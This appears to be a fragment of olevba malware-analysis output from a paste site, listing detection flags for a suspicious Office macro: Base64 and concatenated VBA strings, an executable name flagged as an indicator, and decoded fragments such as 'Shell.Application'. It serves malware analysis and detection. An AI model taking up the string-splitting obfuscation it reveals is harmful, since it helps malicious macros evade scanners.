  792. | Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
  793. |            |                      | may be used to obfuscate strings        |
  794. |            |                      | (option --decode to see all)            |
  795. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  796. |            | Strings              | may be used to obfuscate strings        |
  797. |            |                      | (option --decode to see all)            |
  798. | IOC        | shhg32c.exe          | Executable file name                    |
  799. | VBA string | Shell.Application    | ("She" + "ll.Application")              |
  800. | VBA string | GET                  | "GE" + "T"                              |
  801. | VBA string | Macro (.             | ("Macro") & " (."                       |
  802. | VBA string | All files|*.*        | ("All files") & "|*.*"                  |
  803. +------------+----------------------+-----------------------------------------+
Add Comment
Please, Sign In to add comment